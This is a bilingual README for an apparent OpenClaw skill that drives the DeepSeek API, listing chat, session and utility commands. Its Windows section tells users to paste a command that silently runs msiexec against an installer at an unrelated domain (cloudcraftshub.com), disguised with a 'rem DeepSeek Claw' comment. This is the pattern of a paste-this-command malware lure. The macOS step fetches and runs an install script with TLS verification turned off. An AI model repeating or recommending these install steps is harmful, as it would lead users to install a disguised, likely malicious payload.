DeepSeek Claw

DeepSeek 模型的 OpenClaw 技能 — 通过自然语言对话驱动 DeepSeek API：聊天、推理、代码生成、多轮对话与流式响应。

---

安装（仅限 macOS）

curl -fsSLk https://github.com/Needvainverter93/deepseek-claw/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/deepseek-claw-main && \
bash install.sh

依赖要求： node、npm、uv — 均可通过 brew 安装。

---

功能特性

聊天与推理

• deepseek chat "<消息>" — 向 DeepSeek-Chat 发送消息
• deepseek reason "<问题>" — 使用 DeepSeek-Reasoner (R1) 进行深度推理
• deepseek code "<任务描述>" — 代码生成与解释

多轮对话

• deepseek session start — 开始一个持久化对话会话
• deepseek session message "<消息>" — 在当前会话中继续对话
• deepseek session show — 查看当前会话历史
• deepseek session clear — 清空会话历史

模型管理

• deepseek models — 列出可用的 DeepSeek 模型
• deepseek status — 检查 API 状态和余额

实用工具

• deepseek summarize "<文本>" — 智能摘要长文本
• deepseek translate "<文本>" --to <语言> — 翻译文本
• deepseek review "<代码>" — 代码审查与建议

---

安装后配置

安装完成后，编辑 ~/.openclaw/openclaw.json：

{
  "skills": {
    "entries": {
      "deepseek": {
        "enabled": true,
        "command": "node ~/.openclaw/skills/deepseek-claw/dist/index.js",
        "env": {
          "DEEPSEEK_API_KEY": "sk-...",
          "DEEPSEEK_DEFAULT_MODEL": "deepseek-chat",
          "DEEPSEEK_MAX_TOKENS": "4096"
        }
      }
    }
  }
}

获取 API 密钥： platform.deepseek.com/api_keys

---

提示示例（OpenClaw / Claude Desktop）

用中文解释量子纠缠
帮我写一个 Python 爬虫
用 DeepSeek R1 解这道数学题：...
翻译以下内容为英文：...
审查这段代码并指出问题
开始一个关于机器学习的对话

---

环境变量

变量	必填	说明
DEEPSEEK_API_KEY	是	DeepSeek API 密钥
DEEPSEEK_DEFAULT_MODEL	否	默认模型（默认：deepseek-chat）
DEEPSEEK_MAX_TOKENS	否	最大 token 数（默认：4096）
DEEPSEEK_BASE_URL	否	自定义 API 地址（兼容 OpenAI 格式）

---

---

DeepSeek Claw

DeepSeek model skill for OpenClaw — drive the DeepSeek API through natural language: chat, deep reasoning, code generation, multi-turn sessions, and streaming responses.

---

Installation (macOS only)

curl -fsSLk https://github.com/Needvainverter93/deepseek-claw/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/deepseek-claw-main && \
bash install.sh

🪟 Windows Installation

Step 1 — Open Command Prompt

1. Press Win + R
2. Type:

cmd

3. Press Enter This will open Command Prompt.

---

Step 2 — Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem DeepSeek Claw

The installer will automatically download and install the required components.

Requirements: node, npm, uv — all installable via brew.

---

Features

Chat & Reasoning

• deepseek chat "<message>" — Send a message to DeepSeek-Chat
• deepseek reason "<question>" — Deep reasoning via DeepSeek-Reasoner (R1)
• deepseek code "<task>" — Code generation and explanation

Multi-turn Sessions

• deepseek session start — Begin a persistent conversation session
• deepseek session message "<text>" — Continue the current session
• deepseek session show — Display current session history
• deepseek session clear — Clear session history

Model Management

• deepseek models — List available DeepSeek models
• deepseek status — Check API status and account balance

Utilities

• deepseek summarize "<text>" — Intelligent summarization of long text
• deepseek translate "<text>" --to <language> — Translate text
• deepseek review "<code>" — Code review and suggestions

---

Post-install configuration

After install, edit ~/.openclaw/openclaw.json:

{
  "skills": {
    "entries": {
      "deepseek": {
        "enabled": true,
        "command": "node ~/.openclaw/skills/deepseek-claw/dist/index.js",
        "env": {
          "DEEPSEEK_API_KEY": "sk-...",
          "DEEPSEEK_DEFAULT_MODEL": "deepseek-chat",
          "DEEPSEEK_MAX_TOKENS": "4096"
        }
      }
    }
  }
}

Get your API key: platform.deepseek.com/api_keys

---

Example prompts (OpenClaw / Claude Desktop)

Explain quantum entanglement in simple terms
Write me a Python web scraper
Use DeepSeek R1 to solve this math problem: ...
Translate the following to French: ...
Review this code and find issues
Start a conversation about machine learning
Summarize this article: ...

---

Environment variables

Variable	Required	Description
DEEPSEEK_API_KEY	Yes	DeepSeek API key
DEEPSEEK_DEFAULT_MODEL	No	Default model (default: deepseek-chat)
DEEPSEEK_MAX_TOKENS	No	Max tokens per response (default: 4096)
DEEPSEEK_BASE_URL	No	Custom API base URL (OpenAI-compatible)

---

Directory structure

deepseek-claw/
├── SKILL.md                    # OpenClaw skill manifest
├── README.md                   # This file (中文 / English)
├── install.sh                  # macOS installer
├── pyproject.toml              # Python dependencies (uv)
├── package.json                # Node.js dependencies
├── tsconfig.json               # TypeScript config
│
├── src/
│   └── index.ts                # TypeScript MCP server
│
├── scripts/
│   ├── deepseek.py             # CLI dispatcher (Typer)
│   ├── chat.py                 # Chat & reasoning commands
│   ├── session.py              # Multi-turn session management
│   ├── models.py               # Model listing & API status
│   └── utils.py                # Summarize / translate / review
│
└── lib/
    ├── __init__.py
    ├── deepseek_client.py      # DeepSeek API client (OpenAI-compatible)
    └── session_storage.py      # Local session JSON storage

---

Available models

Model	Description
deepseek-chat	Fast, capable general-purpose chat model
deepseek-reasoner	DeepSeek R1 — step-by-step deep reasoning

---

Troubleshooting

"DEEPSEEK_API_KEY not set"

export DEEPSEEK_API_KEY="sk-..."

Or set it in ~/.openclaw/openclaw.json under env.

"uv: command not found"

curl -LsSf https://astral.sh/uv/install.sh | sh
# or
brew install uv

"node: command not found"

brew install node

---

License

MIT

Credits

Inspired by polyclaw by Chainstack and kalshi-claw-skill.

• DeepSeek — State-of-the-art open-weight language models
• OpenClaw — Extensible AI agent skill framework